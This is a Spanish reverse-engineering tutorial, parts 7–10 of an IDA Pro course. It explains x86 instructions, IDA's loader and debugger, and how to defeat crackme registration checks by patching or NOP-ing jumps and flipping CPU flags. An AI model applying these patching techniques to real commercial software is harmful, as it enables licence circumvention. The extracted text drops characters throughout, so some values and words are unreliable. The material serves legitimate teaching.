solo se pueden dar al pasarlo a binario los casos que ambos bits sean cero o ambos sean uno, a que
como es el mismo número solo pueden ser iguales A B el resultado haciéndolo bit a bit siempre da
cero en ambos casos.
Escribiéndolo como binarios en la barra de P thon usando ^ que es el xor en P thon veo que al xorear
dos números iguales siempre da 0.
Por supuesto que se puede realizar con valores decimales hexadecimales solo lo paso a binario para
que sea vea clmo afecta bit a bit.
Vemos que siendo 1 el segundo miembro el resultado no variara quedara igual como era originalmente
mientras que todos los otros bits se pondrán a cero.
De esta forma o fácilmente puse a cero todos los bits de un número deje los últmos 4 bits intactos.
Allí vemos que el and en P thon que se escribe & me deja el resultado en 0b0111 que eran los últmos
cuatro bits originales.
NOT A
De este no existe instrucciln en P thon pero es mu sencillo si tenes 0101 le aplicas NOT.
NEG A
SHL, SHR
SHL A,B
SHR A,B
A puede ser un registro o una posiciln de memoria B una constante o registro de 8 bits.
Estas instrucciones rotan a la izquierda (SHL) a la derecha (SHR) ,los b tes que se van perdiendo por un
lado son reemplazados por ceros que entran por el otro, veamos un ejemplo.
Ya que al mover a la izquierda dos lugares todos los bits, se ca eron dos bits por el lado izquierdo, que
se rellenan con dos ceros por la derecha.
Lo mismo si hacemos SHR se moverán hacia la derecha e irán ca endo los que caigan por la derecha se
reemplazaran por ceros por el lado izquierdo.
Existen también las instrucciones ROL Y ROR que son similares rotan cierta cantdad de bits pero en este
caso los que se caen por un lado retornan con su mismo valor por el otro es una rotaciln pura en ese
caso a que no se cambia ningún bit solo se rotan.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
7
INSTRUCIONES DE CONTROL DE FLUJO
Vamos terminando con las instrucciones que siempre es la parte más pesada, tráguense esta dura
píldora que luego vendrá lo mejor.
Las siguientes instrucciones controlan el fujo del programa. Sabemos que EIP apunta a la siguiente
instrucción a ejecutarse, y cuando se ejecute la misma EIP pasara a apuntar a la siguiente.
Pero el programa en si tene instrucciones que controlan el fujo del mismo pudiendo desviar la
ejecución a una instrucción deseada, veremos estos casos.
JMP A
A será una dirección de memoria donde queremos que el programa salte incondicionalmente.
JMP SHORT es un salto corto que está compuesto por dos bytes y como solamente la posibilidad de
saltar hacia adelante y hacia atrás está dada por el valor del segundo byte ya que el primero será el
OPCODE del salto, no podremos saltar muy lejos.
Si ponemos en las opciones que se vean los bytes que componen las instrucciones vemos el opcode EB
que corresponde al JMP y que saltara 5 lugares hacia adelante desde donde termina la instrucción, o sea
que la dirección de destno hacia adelante se podría calcular como.
La dirección de inicio de la instrucción más 2 que es la cantdad de bytes que ocupa la instrucción y luego
le sumo el 5 que me muestra el segundo byte.
Obviamente saltar para adelante y para atrás con un solo byte no nos da mucho alcance, el máximo
salto positvo hacia adelante será 0x7f, veremos un ejemplo.
Como vamos a hacer algunos cambios que romperán la función conviene hacer un snapshot de la
database la cual nos permitrá retornar al estado anterior a la rotura, siempre que tengamos dudas de lo
que vamos a realizar si puede romper alguna función y no sabemos restaurarlo conviene hacer un
snapshot.
El salto es un poco más largo y se va fuera de la función si apretó la barra espaciadora para salir del
modo grá co.
Vemos que la cuenta nos da bien y salta a 0x4013a5 hacia adelante, veamos qué pasa si cambiamos el
0x7f por 0x80.
Vemos que ahora hacemos el máximo salto hacia arriba, aquí al pasar de 0x7f que es el máximo salto
hacia adelante, pasamos a 0x80 que es el máximo salto hacia atrás.
En este caso como vamos hacia atrás para que nos dé bien la cuenta en la formula y solo para propósitos
matemátcos ya que Python no sabe de esto de que los saltos pueden ir hacia adelante o hacia atrás a
partr de un valor, debemos pasar el -0x80 a su valor hexadecimal en dword que es 0xFFFFFF80 y luego
como vimos al hacer el AND 0xFFFFFFFF del resultado limpiamos todos los bits mayores que los
necesarios para un numero de 32 bits y listo nos da la misma dirección 0x4012a6.
Si uso como segundo byte 0xFF sería un salto mínimo, que pasado a dword hexa es -1 o sea le sumo
0xFFFFFFFF para que me de la cuenta, recordemos que siempre le sumamos los dos del largo de la
instrucción, así que no saltara para atrás ya que ese dos que le sumamos hace que se tome como inicio
del cálculo hacia atrás la dirección nal donde termina la instrucción y volver uno hacia atrás desde allí
nos deja en 0x401325.
Si seguimos hacia atrás una posición más o sea el segundo byte seria FE esto es saltar -2 para atrás
desde donde termina la instrucción, eso sería en la formula sumarle 0xFFFFFFFE.
Esto salta al mismo inicio de la instrucción es lo que se conoce como LOOP INFINITO pues siempre
vuelve a repetrse y no se puede salir de él.
Y así sucesivamente saltar -3 desde donde termina la instrucción para atrás será FD o sea que saltara a
0x401323.
Obviamente con los saltos cortos no podemos saltar a cualquier dirección pues estamos limitados a
pocos bytes alrededor de donde nos encontramos para ello usamos el salto largo.
Ahí vemos un par de saltos largos recordemos que loc_ nos dice que esa instrucción es una instrucción
cualquiera.
Allí vemos el salto largo, la distancia entre 0x4026ae y 0x4029b3 es mucho más grande de lo que
podemos alcanzar con un salto corto.
Allí vemos que la distancia se calcula con la formula dirección nal menos dirección inicial – 5 que es el
largo de la instrucción eso me da 0x300 que es el dword al lado del opcode del salto largo 0xe9.
Si con el KEYPATCH cambio la dirección de destno del salto a una dirección hacia atrás por ejemplo
0x400000.
Aunque me marca en rojo porque no es una dirección valida en este momento, veré si puedo armar en
PYTHON una fórmula para ir hacia atrás.
Pasados a bytes hexa es FFFFD94D que son los bytes al lado del opcode 0xe9 obviamente al revés.
SALTOS CONDICIONALES
Normalmente los programas tenen que tomar decisiones y según la comparación de ciertos valores
desviar la ejecución del programa a un punto o a otro.
Puedo necesitar que el programa compare A y B según la relación entre ellos el programa haga algo y si
no haga otra cosa diferente.
Así que normalmente después de la comparación que cambia los famosos FLAGS, según el estado de
ellos, la instrucción de salto condicional decidirá qué hacer.
Allí vemos un ejemplo de salto condicional JZ el mismo salta si el fag Z o cero está actvado. Eso ocurre
cuando en la CMP anterior EAX y EBX son iguales ya que internamente CMP es similar a SUB pero sin
guardar el resultado.
CMP resta ambos registros y si son iguales dará cero lo que actvara el FLAG Z o cero que es lo que mira
el salto JZ para saltar, si el FLAG Z está actvado va por el camino de la fecha verde y si no ira por la
fecha roja si son distntos.
Ya veremos al debuggear ejemplos de cómo se encienden los fags al realizar diferentes operaciones,
por ahora lo importante es que si hay una comparación pueden a contnuación existr estos diferentes
saltos.
Bueno salvo el JMP y el NOP que están colados en la tabla, el resto son saltos condicionales que evalúan
diferentes estados de una comparación, si el primero es mayor, o si es mayor o igual, si es menor etc,
hay diversas posibilidades, las cuales veremos más adelante con mayor profundidad al ver el
DEBUGGER.
CALL Y RET
Otras instrucciones que mencionaremos son el CALL para llamar a una función y el RET para volver de la
misma a la instrucción siguiente del punto de llamada.
Allí vemos un ejemplo de un CALL, el mismo saltara a 0x4013d8 a ejecutar dicha función (vemos el sub_
delante de la dirección 0x4013D8 que nos indica esto).
El CALL guarda en el TOP del stack el valor donde retornara o return address en este caso 0x40123d,
dentro de la función a la cual puedo entrar haciendo ENTER en el CALL.
Al terminar la función la misma llegara a un RET que toma la dirección de retorno guardada en el stack
0x40123d y salta allí, contnuando la ejecución luego del CALL.
Bueno con esto terminamos un paneo rápido de las instrucciones principales, algunas las detallaremos
más adelante, cuando haya que tener más precisión y detalle.
Hasta la parte 8
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
8
Ya hemos visto a vuelo de pájaro las principales instrucciones ahora sigamos con el LOADER.
La forma de trabajar cuando uno no tene mucha practca con reversing estátco es ir comentando y
renombrando algunas pocas cosas que podemos darnos cuenta y la mayor parte del trabajo hacerlo
debuggeando. A medida que uno va teniendo más practca con el reversing estátco puede lograr más y
más reversing casi sin debuggear o a veces sin debuggear.
Normalmente y dado lo extenso de los programas, uno no los va a reversear completamente sino una o
varias funciones de alguna zona que necesita entender para algún propósito.
IDA es una herramienta que nos proporciona la posibilidad que interactuemos de forma de obtener los
mejores resultados de reversing como ninguna tool, pero dependerá el resultado de la capacidad de
reversing del que la usa.
La famosa frase “No es culpa de la fecha sino del indio”, aquí se aplica completamente es necesario
practcar y mejorar en el uso del IDA, si fallamos o no obtenemos un buen resultado debemos mejorar
nuestro nivel y practcar más y más, no es una herramienta sencilla y tene miles y miles de posibilidades
lo cual hace que todos los días podamos aprender cosas nuevas cuando la usamos.
Vamos a comenzar a mirar estátcamente el CRACKME DE CRUEHEAD no importa si llegamos hasta la
solución o si es necesario nalmente terminarlo cuando lleguemos a la parte de DEBUGGER, lo
importante es acostumbrarse a jugar con el LOADER e ir mejorando nuestra con anza con el mismo.
Si vamos a VIEW-OPEN SUBVIEW-SEGMENTS veremos los segmentos que carga el LOADER en forma
automátca.
Vemos que por ejemplo el HEADER que estaría en 0x400000 antes de las secciones, no está cargado ya
que en las opciones cuando carga por primera vez al dar todo OK carga automátcamente solo algunas
secciones del ejecutable sin el HEADER.
Vemos que luego del NOMBRE de la sección, están las direcciones de inicio START y nal de la misma
END, luego las columnas RWX me dicen si tene inicialmente permiso de lectura o READ(R), de escritura
o WRITE(W) y de ejecución(X).
Luego vemos dos columnas con los nombres D y L que corresponden a DEBUGGER y LOADER, vemos que
la de DEBUGGER esta vacía pues se llama cuando cargamos el programa en modo DEBUGGER y nos
muestra los segmentos cargados en el mismo y L nos muestra los que carga el LOADER y luego algunas
otras columnas mas no tan importantes.
En este caso no tene mayor importancia cargar el header, ya vimos en la parte anterior que cuando
renombramos una instrucción y le pusimos un salto a 0x400000 nos la marco en rojo como una
dirección que no está cargada en el LOADER.
Si quisiera cargar el HEADER lo vuelvo a abrir el CRACKME.exe
Le pongo que sobrescriba o OVERWRITE todo el análisis anterior y me haga uno nuevo.
Y me preguntara manualmente uno por uno que segmentos quiero cargar a todos le doy YES.
Y ahí tengo cargado en el LOADER todas las secciones incluso el HEADER y varias más de DATOS.
Ahora guardare un SNAPSHOT con FILE-TAKE DATABASE SNAPSHOT y cambiare un salto a JMP 0x400000
como antes.
Vemos que ya no sale la dirección 0x400000 en rojo y nos pone allí que es la ImageBase, incluso
podemos ir a ver allí clikeando en el nombre ImageBase.
Allí vemos entonces el header en 0x400000 con su tag ImageBase y el contenido que es detectado como
header y mostrado con sus campos.
Bueno volvamos el snapshot anterior antes de romper todo con VIEW-DATABASE SNAPSHOT MANAGER
y le damos a RESTORE.
Por supuesto en todo ejercicio de cracking o reversing las strings cumplen un papel primordial para
guiarnos a zonas importantes, si las hay nos pueden ayudar, veamos en VIEW-OPEN SUBVIEW-STRING
que vemos.
Ahora como hay más secciones, hay más strings detectadas que antes, igual si corremos suelto el
crackme.exe fuera de IDA vemos en el HELP hay una opción REGISTER y nos pide un user y pass y si
ponemos cualquiera, nos sale el cartel NO LUCK THERE, MATE!.
Buscamos esa string en el IDA en la lista.
Vemos 0x402169 cuyo contenido es la string esa, sabemos que si apretamos D en la dirección esta se
verán los bytes sueltos de la string.
Y si, apretemos A en la dirección así vuelve como antes y apretó X para ver las dos referencias que
muestra a la derecha con más comodidad.
Vemos que desde dos funciones diferentes es llamada dicha string, una es sub_401362 y la otra es
sub_40137E y que ambas están más arriba de la dirección donde estamos por eso en la columna
DIRECTION nos muestra en ambas UP.
Sabemos que son dos funciones diferentes porque ida nos muestra las direcciones de las referencias
como función más XXXX y si fueran en la misma función debería cambiar el XXXX pero mantenerse la
misma primera parte aquí ambos sub_ son distntos por eso diferentes funciones.
Tenemos las zonas donde nos trara el cartel malo cuando ponemos user y password equivocados,
como vamos a tratar de llegar lo más lejos posible sin debuggear si alguien quiere ayudarse por ahora y
chequearlo en OLLYDBG debuggeando no hay problema pueden poner un breakpoint en ambas
direcciones y ver si para cuando ponemos una clave que no es correcta, por ahora ayudarse en los
comienzos suele ser útl, la idea es poco a poco necesitar cada vez menos de esas ayudas a medida que
nos a anzamos con IDA, igualmente podríamos poner un breakpoint en ambos bloques aquí en IDA y
ver si para de la misma forma usando el DEBUGGER de IDA pero para ir transicionando creo que mejor
eso dejarlo para más adelante.
Vemos que es un llamado a la api MessageBox que es la que saca esos cartelitos como el de NO LUCK
THERE MATE y le está pasando como argumento las strings NO LUCK para el tulo de la ventanita y NO
LUCK THERE MATE como el texto de la misma.
Vemos que en la otra referencia es exactamente igual, quiere decir que el cartel de chico malo se puede
disparar desde dos lugares diferentes posiblemente evaluando diferentes cosas, y para que salga el
cartel de chico bueno habrá que evitar ambas.
Si vemos las referencias a 0x401362 con la X, vemos un solo lugar antes de ir allí renombremos la
función 0x401362 con un nombre que nos diga algo de lo que hace, por ejemplo CARTEL_ERROR.
Apretando la N en la dirección ahí escribimos nuestro nuevo nombre.
Allí está el icono para cambiar el color, muchos dirán esto no es necesario, pero en funciones complejas
tener las cosas resaltadas es muy importante.
Y allí hay un salto condicional por ahora como recién comenzamos no evaluaremos porque salta a un
bloque o al otro, pero miremos dentro del bloque de 0x40124c entrando a ese call 0x40134d con ENTER.
Allí vemos unas posibles strings de chico bueno que también estaban en la lista de strings, pero como el
cartel de error que aparecía, nos daba la string de error, creíamos que era mejor empezar por ahí pues
esta podía ser una string falsa de chico bueno, pero como vemos que el programa decide venir aquí o a
la zona de chico malo, vemos que es muy posible que sea la correcta.
Y también como vamos a trabajar por otras partes del programa para poder volver fácilmente aquí, nos
ubicamos en el JZ de 0x401243 y vamos a JUMP-MARK POSITION y le ponemos un nombre que nos guie
como DECISION_FINAL.
Vemos que entonces en JUMP-JUMP TO MARKED POSITION nos aparece la lista de marcas que hicimos y
podemos ir a la que queramos por si nos perdemos en el programa.
Quiere decir que teóricamente si parcheáramos ese JZ y lo cambiáramos por un JNZ aun siendo invalido
nos llevaría a GOOD WORK, siempre y cuando el anterior cartel de error no nos tre fuera veamos.
Si ponemos esto vemos que salen los dos primero el cartel de error y luego el de chico bueno, veamos si
podemos parchear el otro cartel de error.
Vemos ahí el otro cartel de error que lo pinte de rojo más adelante analizaremos completamente este
crackme pero es obvio que compara contra 41 que es la A en ASCII y si es más bajo (JB) te tra al error,
así que si vemos que yo en el ultmo intento puse números en vez de letras en mi nombre, obviamente
los números tenen caracteres ASCII mas bajos que 41 (cero es 30, uno es 31, etc) por lo tanto cuando
detecta que en el nombre hay números te saca el cartel de error, así que parchearemos esto (aquí no
podemos cambiar JB por JNB porque si no nos trara el error al poner las letras en el nombre ya que se
invertrá).
Vemos que saltara para llegar al cartel de error, la línea punteada a la izquierda me muestra el salto, así
que si lo nopeo no saltara y seguirá con la próxima instrucción sin venir aquí.
Quedo bien, pero los bloques se me desordenaron y me quedo feo a la vista, así que hago click derecho-
LAYOUT GRAPH y lo acomodara.
Vemos que allí están los nops y el bloque de error me quedo aislado y no se puede llegar allí mas.
Bueno este es un inicio obviamente solo parcheamos para ir tomando contacto con el reversing estátco
más adelante veremos cómo reversearlo completo y hacer un keygen pero eso será unos capítulos más
adelante por ahora vamos despacio y vemos esto.
Hasta la parte 9
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
9
Estamos viendo poco a poco como manejarnos en el LOADER, dejamos algunas cositas pendientes para
más adelante que se necesita ver en un DEBUGGER por ejemplo como cambian los fags con ciertas
instrucciones.
Vamos a ir practcando ejemplitos muy sencillos en este caso es un pequeño crackme ultra simple que
compile en VISUAL STUDIO 2015 para practcar. Obviamente para que corra tendrán que tener la últma
versión de las VISUAL STUDIO 2015 C++ runtmes.
Adjunto va el ejecutable que cree que se llama HOLA_REVERSER.e?e y que corre de Windows 7 en
adelante.
En mi caso (NO EN EL SUYO) la función main aparece entre las funciones, la puedo buscar con CTRL +F
allí en esa pestaña, o donde tenga abierta la pestaña funciones, pero eso ocurre porque como yo
compile el programa al hacerlo el VISUAL STUDIO crea un archivo pdb de símbolos el cual IDA detecta y
carga los nombres de las funciones y variables que yo puse, vemos que en el mío al igual que en mi
código fuente, me aparece main, más abajo prin , veremos qué pasa en el de ustedes.
Bueno en el de ustedes como no tene símbolos no aparece el main, lo cual es el escenario mas probable
pues nadie distribuye un programa con símbolos.
Normalmente tendremos símbolos para los modulos de sistema, no los que son propietarios de algún
programa, salvo casos muy raros, en este caso este engendro es de mi autoría, por eso yo tengo los
símbolos, pero lo analizaremos sin símbolos como cualquier hijo de vecino, jeje.
Estamos como un poco más pelados de información, pero bueno podemos mirar las strings a ver que
hay.
Tenemos las strings a la vista, las que usaba para decirnos que nos equivocamos al poner el numerito.
Allí vemos que 0?40210 es la dirección de la string, al lado de la dirección vemos el TAG que le pone a
la misma siempre empieza con la letra “a” por ser una string ASCII y el resto tene que ver con la misma
string, para que sea fácil de reconocer en este caso el tag es aPoneUnNumerito luego db porque es una
cadena de bytes
A la string que como antes si la pasamos a bytes con D vemos los mismos.
Pasando el mouse por la fechita de la referencia vemos de donde es llamada, pero más cómodo es
apretar la X para ver la lista de referencias e ir allí.
Bueno estamos en la función principal acá no se llama main, aunque el nombre del bu er que es
bastante genérico le puso Buf.
Me doy cuenta que de las variables que cree, algunas las optmizo como por ejemplo cookie y max que
las reemplazo por constantes y dejo solo el bu er que en mi código era de 120 bytes decimal.
Un bu er es un espacio de memoria reservado para guardar datos, en este caso reserve 120 bytes.
Como podemos saber en IDA el largo de un bu er del stack si no tenemos el código fuentei
Allí vemos en la parte superior de la función la lista de variables y argumentos, haciendo doble click en
cualquiera nos llevara a la vista estátca del stack en la cual se ven las posiciones de las variables, bu ers
argumentos etc en forma estátca y la distancia que hay entre ellas.
Allí vemos Buf pero está de nida como byte db (IDA al no tener los símbolos no puede detectar el
bu er) para cambiarla a array de caracteres o bu er, hacemos click derecho en la palabra Buf y elegimos
la opción Array.
Allí vemos que se ja hasta la siguiente variable o lo que haya más abajo en el stack, detecta 120
decimal de largo y el array element es el largo de cada campo como es 1 es un array de caracteres o
bytes y mide 120*1 o sea 120.
Si acepto.
Veo el bu er de 120 bytes que coincide con mi código fuente, aunque el compilador podría hacerlo más
grande, mientras que sea como mínimo 120 está bien, en este caso son iguales. DUP signi ca duplicar
(realmente seria multplicar) 120 veces el carácter ? porque no está de nido el valor aun, es un bu er
estátco vacío.
Ya aclararemos más adelante la vista del stack estátca, pero debajo de Buf hay una variable dword (dw)
llamada var_4
S y R son el EBP guardado de la función padre de esta la que la llamo y el RETURN ADRESS como
habíamos visto al entrar en la función primero se pasaban con PUSH los argumentos, luego se usaba un
CALL para entrar en la función que guardaba el RETURN ADRESS o dirección de retorno en el stack, y
arriba de S van las variables.
VARIABLES
S (stored ebp -generalmente viene del PUSH EBP que es la primera instrucción de la función)
R (return address)
ARGUMENTOS
O sea que como los argumentos se pushean al stack antes del CALL que pone el return address,
quedaran debajo del mismo, y luego arriba del return address viene el STORED EBP que se genera por el
PUSH EBP que generalmente es la primera instrucción de la función y luego arriba se deja espacio para
las variables locales, ya lo veremos con más detalle.
IDA detecto que nunca son usados, son los argumentos argc, argv y envp, que son argumentos por
default en el main pero como nunca hubo ninguna referencia ni uso dentro de la función, IDA los
elimino para aclarar el panorama.
Además, en mi código ni siquiera lo había pasado como argumentos del main, así que todo bien es una
función sin argumentos.
Cuando queremos ver en qué lugares se accede a una variable, la marcamos y apretamos X.
Vemos que var_4 se usa en dos lugares es para el que no sabe, una cookie que no la programe yo, es de
protección contra stack overfows, la guarda al inicio de la función y la chequea antes de salir de la
función, por ahora le ponemos de nombre COOKIE_DE_SEGURIDAD o CANARY.
Vemos que cuando imprime las strings llama a un CALL que seguro termina yendo a prin para imprimir
las strings.
Vemos dentro de la función que termina en vfprin , así que es eso la renombramos.
Nos queda solo el Buf de 120 bytes, veamos que hace con el.
Vemos que se lo pasa a get_s que es una función que recibe lo que tpeamos en una consola.
Vemos que tene dos argumentos el puntero al bu er y el size má?imo que nos permite tpear, veamos
en nuestro caso.
Habíamos dicho que el LEA hallaba la dirección de una variable, en este caso es la dirección del bu er
Buf que se lo pasa con un PUSH EAX, y luego un PUSH 0?14 que pasa el má?imo que permito tpear en la
consola.
Vemos en mi código fuente lo mismo el llamado a get_s con dos argumentos el buf y el má?imo que yo
la había usado una variable ma? que valía 20, pero el compilador directamente para ahorrar espacio le
puso 20 decimal o sea 0?14 a ese argumento ya que no se usa nunca más.
Por lo tanto, sin ejecutar ya sé que en el bu er tengo los caracteres que tpeo por consola.
Vemos que el valor devuelto en EAX se pasa a ESI y luego de imprimir la string original que se tpeo,
compara el valor de ESI con 0?12457 .
Así que como lo que se tpea se interpreta como cadena de números decimales, que se devuelve como
he?adecimal y se compara contra esa constante, pasándole el valor decimal de esa constante debería
funcionar ya que luego si esa igualdad es válida.
Vemos que si la comparación no es igual (JNZ) me lleva a BAD REVERSER y si son iguales a GOOD
REVERSER, probemos en la consola de Python a ver qué valor decimal es 0?12457 .
Bueno este es un ejemplo sencillito de reversing estátco, para ir ambientándonos con el LOADER.
Hasta la parte 10
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
10
Bueno hemos visto algo del LOADER y seguiremos viendo, pero veremos algunos aspectos del
DEBUGGER para poder ir complementando ambos.
IDA soporta múltples DEBUGGERS para verlo abrimos el CRACKME DE CRUEHEAD original sin parchear
en el IDA.
Obviamente elegimos OVERWRITE si nos pregunta si queremos crear una nueva database y sobrescribir
la vieja, para que haga un análisis nuevo, si ya teníamos en el mismo lugar la anterior database o archivo
idb del parcheado.
No ponemos la tlde en MANUAL LOAD, así que aceptamos las ventanas que siguen hasta que abra.
Obviamente para empezar por el principio entre las diferentes posibilidades de DEBUGGERS elegiremos
LOCAL WIN32 DEBUGGER servirá para comenzar, más adelante veremos las otras.
Veremos algunos puntos del DEBUGGER incluido en IDA que tene sus partcularidades y que si uno no lo
aprende a usar ya que es un poco diferente del resto de los debuggers se puede complicar.
La diferencia surge creo yo en que IDA comenzó siendo solo lo que hoy llamamos el LOADER o sea un
muy buen desensamblador estátco y con grandes posibilidades de interactvidad para el reversing,
luego se le añadió el DEBUGGER sobre el mismo lo cual trajo algunos problemas que se fueron
solventando pero que hacen que la forma de trabajar a veces sea un poco distnta a DEBUGGERS como
OLLYDBG.
Pondremos la tlde en SUSPEND ON PROCESS ENTRY POINT para que pare en el punto de entrada del
mismo.
Haremos los cambios en el analisis que habíamos hecho antes, COLOREAREMOS y RENOMBRAREMOS la
zona de los saltos decisivos.
Allí ponemos un BREAKPOINT con F2 en el salto que toma la decisión en 0x401243 y vamos al otro salto
que habíamos parcheado y también F2.
Ya estamos como lo habíamos dejado pero sin cambiar codigo, ahora podemos arrancar el DEBUGGER
con DEBUGGER-START PROCESS.
Esto siempre nos aparecerá cuando vayamos a DEBUGGEAR un ejecutable en nuestra maquina local, ya
que mientras analizamos en el LOADER jamás se ejecuta en nuestra máquina, pero ahora si se ejecutara,
por lo tanto siempre se debe tener cuidado al ejecutar si es un VIRUS o algo potencialmente peligroso
conviene usar el DEBUGGER REMOTO y ejecutarlo en una máquina virtual, ya veremos eso a su tempo.
Como el CRACKME DE CRUHEAD es más bueno que LASSIE medicada, apretamos YES.
Como le pusimos que se detenga en el ENTRY POINT así lo hizo, está parado en 0x401000 si apretó la
barra espaciadora pasara a modo grafco como en el LOADER.
El color celeste de fondo de los bloques me dice que estoy en el DEBUGGER, en el LOADER los bloques
son blancos por default.
Acomodo las ventanas sobre todo achicando un poco la parte del OUTPUT WINDOW, arrastrando su
margen hacia abajo, agrando un poco el stack y que se vean los registros arriba a la izquierda y los ags
Una vez que logre una vista cómoda, la guardare por default para el DEBUGGER en WINDOWS-SAVE
DESKTOP poniendo la tlde en DEFAULT siempre que arranquemos el DEBUGGER arrancara de la forma
que elegimos y si queremos volver a cambiarlo, podemos volver a hacerlo sin problemas.
Debajo de los registros esta la vista de STACK.
Y tenemos también el listado IDA-VIEW EIP y abajo el HEW VIEW o HEX DUMP la vista en hexadecimal
de la memoria.
Si vemos en la parte inferior del listado.
Siempre tendremos la dirección de memoria y el FILE OFFSET que es el OFFSET en el archivo ejecutable,
si lo abrimos en un editor HEXA por ejemplo el HXD.
Ya sabemos que por DEFAULT en el LOADER y el DEBUGGER viene confgurado el atajo de teclado G para
ir a una dirección de memoria, si apretó G, y pongo 0x401389.
Voy a la zona donde estaba un breakpoint, vemos los colores, le quito para que no se vean los bytes,
para no ensuciar la vista, y veo que todo está tal cual lo dejamos en el LOADER si reverseamos,
cambiamos nombres etc, aquí en el DEBUGGER se mantenen, asimismo los cambios que hagamos aquí
aparecerán en el LOADER, ya que es un módulo que está marcado como los que cargan en el LOADER.
En VIEW-OPEN SUBVIEW-SEGMENTS vemos ahora los tres segmentos que carga el LOADER cuando no
actvamos MANUAL LOAD, el de código o CODE que carga en 0x401000 el de DATA e IDATA, cualquier
reversing que hagamos a estos tres, se mantendrán pues cargarán en el LOADER, fuera de esos tres, los
cambios se perderán pues son solo módulos cargados por el DEBUGGER y no se guardaran en la
database.
O sea que siempre los módulos que estemos reverseando y queremos debuggear deben estar en el
LOADER o L allí, obviamente cargaran en el DEBUGGER también, pero que tengan la L signifca que
estarán en ambos y podre reversear estátcamente en el LOADER y DEBUGGEAR en ellos sin perder info
ni mi trabajo de reversing estátco.
La posibilidad de volver para atrás al lugar donde estabas antes y hacia adelante es muy cómoda tenerla
a mano.
Apretando la echa para atrás vuelvo el entry point donde estaba antes.
Así que estoy parado en el Entry Point y tengo los dos BREAKPOINTS puestos, así que podría apretar f9
para que corra.
Vamos a HELP-REGISTER y pongamos una clave.
Al dar OK.
Queda ttlando la echa de la izquierda que es por donde va a seguir, vemos que EAX vale 0x72
Si tpeo en la barra de Python chr00x72) veo que es la r de ricnar.
Pero también podemos para que quede más claro hacer click derecho en el 41h del listado y entre las
opciones que podemos elegir de visualización me aparece la A.
Vemos que compara contra A y contra Z por ahora no buscamos solucionar completamente el crackme,
pero vemos que 0x72 es más grande que 0x41 por lo tanto no va al bloque rojo del cartel de error.
Obviamente saltaría al bloque rojo si es más bajo, pero también se puede evaluar mirando los ags.
Allí vemos el salto JB el cual salta o sea sigue la echa verde en IDA si es el primero es menor, pero
también al realizar la comparación se actva el ag C 0también llamado CF o C) , allí dice salta si C=1, si
vemos en el IDA los ags.
El ag C está a CERO por lo cual el salto no se tomará e ira por el camino de la echa roja.
EL CARRY FLAG nos da información de que algo salió mal en una operación entre unsigned integers, si
hago la resta ya que el CMP es una resta sin guardar el resultado, 0x72-0x41 el resultado será 0x31 que
es positvo y no hubo problemas, sin embargo si mi valor fura 0x30 por ejemplo al restarle 0x41, me dará
-0x11.
Lo cual es un valor negatvo y no es aceptado como resultado de una operación de números positvos,
pues si lo contnua trabajando como hexadecimal.
Sera 0xFFFFFFFEF y eso como positvo es un valor muy grande 4294967279 y de ninguna manera restar
0x30 – 0x41 es igual a 0xFFFFFFEF positvo.
Como sabemos si en una operación donde no se considera el signo o no?.
Eso está dado por el tpo de salto en este caso JB es un salto que se usa luego de una comparación SIN
SIGNO para las operaciones entre números CON SIGNO usara JL.
Si comparo 0xFFFFFFFF contra 0x40 en un salto sin signo obviamente es mayor pues es el máximo
positvo, pero si es un salto donde se consideran los signos será -1 y será menor a 0x40.
O sea que para evaluar si una comparación usa signo o no debemos ver el salto siguiente que toma la
decisión.
Si el salto es cualquiera de estos se evalúa SIN SIGNO, mientras que cada uno tene su contraparte como
JB y JL en la tabla de los saltos CON SIGNO.
Vemos que JE que evalúa si son iguales está en ambas tablas pues en ese caso no importa el signo si son
iguales se actvará poniéndose a 1 el ZF.
Vemos también que JG que salta si es mayor en la tabla de los con signo tene su contraparte con el JA
que salta si es mayor en la tabla de los SIN SIGNO.
Igual en el análisis diario uno no se pone a mirar las ags demasiado, ve un salto JB y sabe que es una
comparación entre números positvos o SIN SIGNO y que si el primero es menor saltara, pero es bueno
ver lo que hay debajo.
Si contnúo parando en todos los breakpoints veré que estoy en un loop que va leyendo uno a uno mis
caracteres del nombre y compara todos con 0x41 si hay alguno menor saldrá el cartel de error, como
puse todas letras 0ricnar) no será el caso, pero restarteemos el proceso con TERMÍNATE PROCESS y
START PROCESS nuevamente y ahora pongamos como nombre 22ricnar y clave 98989898.
Veo que como 0x22 es menor que 0x41 se actva la echa verde o sea que el salto se tomara y vemos
que el ag C está actvado porque al restar 0x32 menos 0x41 en una resta sin considerar signo nos da
negatvo el resultado y eso es un error que actva el ag C.
En ese mismo momento que lo cambiamos empieza a ttlar la echa roja porque lo invertmos.
Si damos RUN volverá a parar cuando evalué el siguiente 2 de 22ricnar y volverá a ttlar la echa verde
que llevaría al cartel de error, invertmos de nuevo CF poniéndolo a cero.
Las siguientes veces que para en este salto corresponden a ricnar por lo cual como son mayores que
0x41 no actvan el CF y siguen por la echa roja.
Después de pasar el chequeo de cada carácter del nombre llegamos al salto fnal.
Allí compara que EAX y EBX sean iguales aquí no importa signo ni nada, ya me prendió la echa roja de
que no son iguales y me va a trar al cartel de error.
Ahí veo que no son iguales, y el ag Z no está actvo.
Si lo actvamos cambiara el salto e ira por la echa verde al cartel de GOOD BOY, click derecho en el ZF y
elijo INCREMENT VALUE.
Hicimos lo mismo que cuando parcheamos, pero sin hacer modifcaciones solo cambiando los ags en el
DEBUGGER.
Muchas veces cuando uno no tene ganas de invertr saltos directamente va al bloque bueno donde
quiere contnuar y pone el cursor allí y hace click derecho, aunque IDA 6.8 tene un BUG que fue resuelto
en la versión 6.9 que a veces hacer click derecho crashea el IDA si les ocurre buscan el shortcut que
necesitan, algunos están en:
h ps://www.hex-rays.com/products/ida/support/freefles/IDA_Pro_Shortcuts.pdf
Si nos trae problemas el click derecho para setear EIP poner el cursor donde queremos ir por ejemplo
0x40124c y apretamos CTRL + N que es SET IP.
Y el programa contnuara desde 0x40124c que es lo mismo que haber invertdo el ag.
Hasta la parte 11.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
11
Antes de seguir vamos a ver si podemos arreglar el bug que se produce en el IDA en la versión 6.8, el
